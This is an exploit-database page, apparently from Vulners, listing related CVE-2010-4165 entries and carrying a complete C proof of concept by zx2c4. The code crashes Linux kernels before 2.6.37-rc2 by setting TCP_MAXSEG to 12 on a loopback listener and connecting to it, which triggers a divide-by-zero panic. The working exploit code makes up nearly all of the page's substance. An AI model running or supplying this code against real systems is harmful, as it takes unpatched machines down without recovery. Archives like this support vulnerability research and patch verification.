Lucene search
K

Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)

🗓️ 10 Mar 2011 00:00:00Reported by zx2c4Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic Do

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Linux Kernel <= 2.6.37 Local Kernel Denial of Service
2 Mar 201100:00
zdt
0day.today
Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS
11 Mar 201100:00
zdt
GithubExploit
exploits
25 May 202601:12
githubexploit
Circl
CVE-2010-4165
2 Mar 201100:00
circl
CVE
CVE-2010-4165
20 Nov 201021:00
cve
Cvelist
CVE-2010-4165
20 Nov 201021:00
cvelist
Exploit DB
Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)
2 Mar 201100:00
exploitdb
Oracle linux
kernel security, bug fix, and enhancement update
23 Feb 201100:00
oraclelinux
Oracle linux
Oracle Linux 6 Unbreakable Enterprise kernel security fix update
16 Mar 201100:00
oraclelinux
EUVD
EUVD-2010-4141
7 Oct 202500:30
euvd
Rows per page
/*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
 *
 * -zx2c4, 28-2-2011
 */

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
	struct sockaddr_in laddr;
	memset(&laddr, 0, sizeof(laddr));
	laddr.sin_family = AF_INET;
	laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
	laddr.sin_port = htons(31337);
	int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (listener < 0) {
		printf("[-] Could not open listener.\n");
		return -1;
	}
	int val = 12;
	if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
		printf("[-] Could not set sockopt.\n");
		return -1;
	}
	if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
		printf("[-] Could not bind to address.\n");
		return -1;
	}
	if (listen(listener, 1) < 0) {
		printf("[-] Could not listen.\n");
		return -1;
	}
	int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (hello < 0) {
		printf("[-] Could not open connector.\n");
		return -1;
	}
	if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
		printf("[-] Could not connect to listener.\n");
		return -1;
	}
	printf("[-] Connection did not trigger oops.\n");
	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation